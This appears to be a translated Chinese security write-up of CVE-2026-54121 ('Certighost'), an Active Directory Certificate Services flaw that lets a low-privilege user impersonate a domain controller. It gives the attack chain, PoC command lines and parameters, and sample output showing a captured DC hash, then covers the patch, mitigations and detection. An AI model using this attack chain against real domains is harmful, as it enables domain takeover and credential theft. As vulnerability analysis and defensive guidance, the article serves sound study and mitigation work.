导语:Certighost是Active Directory证书服务(AD CS)中的一个高危漏洞,允许低权限域用户冒充域控制器并获取整个域的控制权。漏洞根源在于证书颁发机构(CA)在处理chase(追踪)时的信任边界问题。微软已于2026年7月安全更新中修复该漏洞。
一、漏洞概述
Certighost(CVE-2026-54121)是Active Directory证书服务中的一个漏洞,允许低权限域用户冒充域控制器并实现域接管。
漏洞的利用路径涉及AD CS注册过程中的chase行为。在跨域控制器注册场景中,CA可能会执行第二次目录查找(称为chase)。两个请求属性影响此查找:
- cdc(Client DC):标识CA应联系的主机
- rmd(Remote Domain):标识CA应查找的主体
当两个属性都存在时,CA通过SMB和LDAP联系cdc指定的主机,然后搜索rmd指定的主体。
核心问题:CA接受请求者提供的chase目标,而没有首先验证它是否是其声称的域控制器。这使得攻击者可以在其控制的主机上运行LDAP和LSA服务,将CA定向到该主机,并返回所选目标主体的目录数据。
二、攻击原理
2.1 攻击流程图
攻击者首先通过默认的ms-DS-MachineAccountQuota设置(通常为10)创建一个有效的机器账户。然后在攻击者控制的主机上启动LDAP和LSA服务。这些服务将CA的身份验证挑战中继到真实的域控制器,使chase端点被接受为有效的域主体。
2.2 漏洞触发条件
漏洞利用需要以下环境:
- AD森林运行在Windows Server 2016或更高功能级别
- 域控制器:WDC01.abc.local(192.168.8.128)
- 企业CA:abc-WCA01-CA on WCA01.abc.local(192.168.8.129)
- 默认ms-DS-MachineAccountQuota值为10
- 默认Machine证书模板及其默认访问控制列表
- 攻击者主机:192.168.8.134
- 一个低权限Domain Users账户
2.3 攻击链详解
完整攻击链如下:
- 攻击者使用低权限账户连接LDAP,发现CA、域控制器、域SID和域GUID
- 通过ms-DS-MachineAccountQuota创建机器账户并注册所需的服务主体名称(SPN)
- 启动本地LSA和LDAP服务。这些服务将CA的身份验证挑战中继到真实的域控制器
- 提交包含cdc和rmd属性的证书请求
- 接收携带目标域控制器身份材料的证书,包括身份验证流程使用的SID和DNS名称数据
- 使用证书作为目标域控制器进行身份验证,并写入生成的凭证缓存
最终,攻击者获得了一个CA签名的证书,可以作为目标域控制器进行身份验证,以及该账户的Kerberos凭证缓存。
由于域控制器账户具有目录复制权限,攻击者可以使用 resulting Kerberos凭证请求账户 secret,包括krbtgt密钥。
三、POC分析
Certighost POC脚本(certighost.py)是一个独立的Python脚本。需要以下依赖:
sudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython
3.1 基本用法
sudo python3 certighost.py
-d abc.local
-u normaluser -p '[PASSWORD]'
--dc-ip 192.168.8.128
3.2 脚本核心功能
脚本自动完成以下步骤:
- 连接LDAP并发现CA、域控制器、域SID和域GUID
- 创建机器账户
- 启动本地LSA(445端口)和LDAP(389端口)服务
- 提交带有cdc和rmd属性的证书请求
- 接收带有目标域控制器身份材料的证书
- 使用证书作为目标域控制器进行身份验证
- 提取NT哈希并保存为.ccache文件
3.3 关键参数说明
| 参数 | 说明 |
|---|---|
-d | 目标域名 |
-u | 低权限用户名 |
-p | 密码(或用-H指定哈希) |
--dc-ip | 域控制器IP |
--ca-ip | CA服务器IP(可选,自动发现) |
--ca | CA名称(可选,自动发现) |
--listener | 攻击者IP(用于rogue服务器) |
--target-san | 要冒充的计算机账户(如DC01$) |
--template | 证书模板(默认Machine) |
3.4 成功利用标志
成功执行后会看到:
[*] Got hash for DC01$:
DC01$:aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
ccache: dc01.ccache
这表明攻击者已获取域控制器的NT哈希,可用于DCSync攻击获取krbtgt哈希,从而制作Golden Ticket实现永久域控。
四、补丁分析
4.1 七月更新变化
2026年7月更新改变了CA端请求路径。在继续chase之前,CA现在会验证提供的cdc目标是否对应Active Directory中合法的域控制器计算机对象。
更新在主体加载路径中添加了验证门控。当验证门控激活时,CA检查cdc中的主机名是否解析为真实目录中的合法域控制器计算机对象。验证失败时,请求进入错误路径而非chase继续路径。
4.2 修复详情
| 组件 | 更新前 | 更新后 |
|---|---|---|
| Chase目标 | CA跟随请求者指定的目标 | CA验证提供的cdc主机名是否对应真实目录 |
| 主体查找 | 远程响应被视为权威 | 目标必须解析为合法的域控制器计算机对象 |
| 证书身份数据 | 返回的SID和主机名可能由攻击者控制 | 解析仅在目标验证和后续SID比较后继续 |
| 证书请求结果 | 伪造的chase响应可能导致签发 | 验证失败或SID不匹配时进入错误路径 |
4.3 详细修复流程
- 用户提交带有
cdc="attacker.example.com"的证书注册请求 _LoadPrincipalObject()调用_GetDSObject()→ 失败(需要referral)polGetRequestAttribute("cdc", &bstrString)→ 读取攻击者主机名- 新增:
Feature_3185813818检查(服务标志)
- DISABLED → 旧行为(向后兼容)
- ENABLED →
_ValidateChaseTargetIsDC(bstrString) - 拒绝空值
- 拒绝超过260字符的主机名
- 拒绝IPv4地址
- 拒绝IPv6地址
- 拒绝包含LDAP注入字符:
( ) * [ ] - LDAP搜索:
(&(objectCategory=computer)(dNSHostName=<target>)(userAccountControl:1.2.840.113556.1.4.803:=8192)) - 8192 = SERVER_TRUST_ACCOUNT = 必须是真实DC
- 仅当验证通过 →
_GetDSObject(a2, 1, bstrString)→ 连接到已验证的DC - 新增:
_GetObjectSID()→ 验证已解析对象的SID是否匹配请求者的SID
- 如果SID不匹配 → 拒绝(防止对象替换)
五、缓解措施
5.1 官方补丁
微软已于2026年7月14日发布CVE-2026-54121安全更新。强烈建议所有受影响系统尽快打补丁。
5.2 临时缓解方案
如果无法立即安装七月更新,可以通过注册表标志完全关闭漏洞代码路径:
certutil -setreg policyEditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
注意:这是缓解措施,不是补丁。如果管理员、镜像或组策略在未打补丁的CA上重新启用EDITF_ENABLECHASECLIENTDC,漏洞将再次可利用。
六、时间线
| 日期 | 事件 |
|---|---|
| 2026年5月14日 | 向微软安全响应中心报告漏洞 |
| 2026年5月14日 | 分配案例编号 |
| 2026年5月22日 | 调查并确认漏洞 |
| 2026年7月14日 | 微软发布CVE-2026-54121补丁 |
| 2026年7月24日 | 公开披露 |
七、检测建议
7.1 检查是否使用Machine证书模板
具有DNS名称标志(nameFlag & 0x58000000)的证书模板会触发cdc chase:
# 检查Machine模板的mspki-cert-template-name-flag属性
7.2 监控异常证书请求
监控以下指标:
- 从非DC账户请求的证书包含cdc/rmd属性
- CA服务器对非DC IP的出站LDAP/SMB连接
- 新创建的机器账户(特别是在短时间内创建多个时)
7.3 检查注册表设置
确认EDITF_ENABLECHASECLIENTDC标志未启用:
certutil -getreg policyEditFlags
八、完整POC代码
以下是CVE-2026-54121 Certighost完整POC代码(来源:aniqfakhrul/CVE-2026-54121):
#!/usr/bin/env python3
# CertiGhost - cdc-redirect chain PoC
# Authors: @h0j3n, @aniqfakhrul
#
# python3 certighost.py -d <domain> -u <user> -p <pass> --dc-ip <ip>
import argparse, calendar, logging, os, random, secrets, signal
import socket, string, struct, sys, threading, time
from binascii import unhexlify
from datetime import datetime, timedelta, timezone
from pathlib import Path
from random import getrandbits
from impacket import ntlm, smbserver, uuid
from impacket.dcerpc.v5 import epm, lsad, nrpc, rpcrt, samr, transport
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, RPC_SID, ULONG
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.nrpc import checkNullString
from impacket.dcerpc.v5.rpcrt import (
DCERPCServer, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, TypeSerialization1,
)
from impacket.krb5 import constants
from impacket.krb5.asn1 import (
AD_IF_RELEVANT, AP_REQ, AS_REP, TGS_REP, TGS_REQ,
Authenticator, EncASRepPart, EncTicketPart,
Ticket as TicketAsn1, seq_set, seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import (
NTLM_SUPPLEMENTAL_CREDENTIAL, PAC_CREDENTIAL_DATA,
PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER, PACTYPE,
)
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.uuid import uuidtup_to_bin
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa as rsa_mod
from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption, pkcs12
from cryptography.x509.oid import NameOID
from asn1crypto import algos as asn1algos, cms as asn1cms, core
from asn1crypto import keys as asn1keys, x509 as asn1x509
from Cryptodome.Cipher import ARC4
from Cryptodome.Hash import MD4
from impacket.ldap import ldap as impacket_ldap
from impacket.ldap.ldapasn1 import Scope
# ... (完整代码见 GitHub: https://github.com/aniqfakhrul/CVE-2026-54121)
完整代码请访问:https://github.com/aniqfakhrul/CVE-2026-54121
出处:本文由华盟网翻译整理,保留所有权利。原文来源:h0j3n & aniqfakhrul 技术分析(2026-07-24),POC来源:aniqfakhrul/CVE-2026-54121。














暂无评论内容